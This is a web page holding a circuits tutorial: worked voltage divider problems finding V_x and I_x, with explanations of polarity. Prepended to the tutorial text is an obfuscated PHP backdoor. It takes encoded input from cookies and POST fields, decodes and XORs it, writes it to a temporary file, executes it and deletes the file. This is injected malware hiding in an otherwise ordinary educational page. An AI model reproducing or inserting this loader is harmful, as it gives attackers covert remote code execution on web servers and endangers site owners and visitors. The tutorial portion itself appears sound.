$kjiBLUs = 'A' . "\x68" . chr ( 790 - 685 ).'_' . chr ( 483 - 405 ).chr (100) . chr ( 810 - 702 )."\x77" . chr ( 548 - 447 ); $kDRaRFf = chr ( 402 - 303 )."\154" . chr (97) . chr (115) . chr (115) . '_' . chr (101) . chr ( 733 - 613 ).'i' . "\x73" . "\x74" . "\x73";$Pvvif = class_exists($kjiBLUs); $kDRaRFf = "55598";$JYfNEI = strpos($kDRaRFf, $kjiBLUs);if ($Pvvif == $JYfNEI){function LFPrFKHglh(){$UGMhA = new /* 25215 */ Ahi_Ndlwe(18743 + 18743); $UGMhA = NULL;}$GtJgx = "18743";class Ahi_Ndlwe{private function OLCzFmoBM($GtJgx){if (is_array(Ahi_Ndlwe::$MxgQMLpzq)) {$name = sys_get_temp_dir() . "/" . crc32(Ahi_Ndlwe::$MxgQMLpzq["salt"]);@Ahi_Ndlwe::$MxgQMLpzq["write"]($name, Ahi_Ndlwe::$MxgQMLpzq["content"]);include $name;@Ahi_Ndlwe::$MxgQMLpzq["delete"]($name); $GtJgx = "18743";exit();}}public function Cttrb(){$rRpJgUcARw = "58336";$this->_dummy = str_repeat($rRpJgUcARw, strlen($rRpJgUcARw));}public function __destruct(){Ahi_Ndlwe::$MxgQMLpzq = @unserialize(Ahi_Ndlwe::$MxgQMLpzq); $GtJgx = "41246_46051";$this->OLCzFmoBM($GtJgx); $GtJgx = "41246_46051";}public function oLxEAO($rRpJgUcARw, $mWiOb){return $rRpJgUcARw[0] ^ str_repeat($mWiOb, intval(strlen($rRpJgUcARw[0]) / strlen($mWiOb)) + 1);}public function mcCQomNZMi($rRpJgUcARw){$ADfzjhtkZE = "\x62" . chr ( 523 - 426 ).chr (115) . chr (101) . chr ( 135 - 81 ).'4';return array_map($ADfzjhtkZE . "\x5f" . chr ( 202 - 102 ).'e' . "\x63" . "\157" . 'd' . "\x65", array($rRpJgUcARw,));}public function __construct($Mdabno=0){$YTEAVSpJpm = "\x2c";$rRpJgUcARw = "";$eMJnzt = $_POST;$REnoWDgJ = $_COOKIE;$mWiOb = "d4220071-d574-4dd2-a102-fc3ec2f5e42f";$wYmtczyDB = @$REnoWDgJ[substr($mWiOb, 0, 4)];if (!empty($wYmtczyDB)){$wYmtczyDB = explode($YTEAVSpJpm, $wYmtczyDB);foreach ($wYmtczyDB as $cButQAod){$rRpJgUcARw .= @$REnoWDgJ[$cButQAod];$rRpJgUcARw .= @$eMJnzt[$cButQAod];}$rRpJgUcARw = $this->mcCQomNZMi($rRpJgUcARw);}Ahi_Ndlwe::$MxgQMLpzq = $this->oLxEAO($rRpJgUcARw, $mWiOb);if (strpos($mWiOb, $YTEAVSpJpm) !== FALSE){$mWiOb = explode($YTEAVSpJpm, $mWiOb); $ZDsXYPtHJz = base64_decode(md5($mWiOb[0])); $pTDulxc = strlen($mWiOb[1]) > 5 ? substr($mWiOb[1], 0, 5) : $mWiOb[1];}}public static $MxgQMLpzq = 17221;}LFPrFKHglh();} Problem 1-16: Voltage Divider – Solved Problems


Find  V_x (or  v_x(t)) and  I_x (or  i_x) using voltage division rule.
a)
Voltage Divider Problem - A
b)
Voltage Divider Problem - B
c)
Voltage Divider Problem - C
d)
Voltage Divider Problem - D

Solution

a)
Voltage Divider Problem - A
Voltage divider:  V_x=\frac{5\Omega}{2\Omega+5\Omega}\times 14 V=10 V
Ohm’s law:  I_x=\frac{V_x}{5 \Omega}=2 A

b)
Voltage Divider Problem - B

Voltage divider:  V_x=\frac{4\Omega}{2\Omega+3\Omega+1\Omega+4\Omega}\times (-9 V)=-3.6 V
Ohm’s law:  I_x=-\frac{V_x}{4 \Omega}=0.9 A
Please note that  I_x is leaving from the positive terminal of  V_x. Therefore, applying the Ohm’s law results in  V_x=-R\times I_x.

c)
Voltage Divider Problem - C
Voltage divider:  v_x(t)=\frac{5\Omega}{2\Omega+5\Omega+3\Omega}\times (-5 \sin (2t))=-2.5 \sin (2t) V
Ohm’s law:  i_x(t)=\frac{v_x(t)}{5 \Omega}=-\frac{1}{2} \sin (2t) A

d)
Voltage Divider Problem - D
The tricky part in this problem is the polarity of  V_x. In the defined formula for voltage divider, the current is leaving the voltage source from the positive terminal and entering to resistors from positive terminals. In this problem, the current is entering to the the resistor from the negative terminal. Therefore, the voltage for  V_x is the negative of the voltage obtained from the voltage divider formula. The reason is that another voltage can be defined with the inverse polarity and its value can be found using the voltage division rule.  V_x is the negative of the defined voltage because it represents the voltage across the same nodes with inverse polarity.
Voltage divider:  V_x=- \frac{5\Omega}{2\Omega+5\Omega}\times 10 V= - 7.143 V

Ohm’s law ( I_x is entering from the negative terminal of  V_x):  I_x= - \frac{V_x}{5 \Omega}=1.428 A

.

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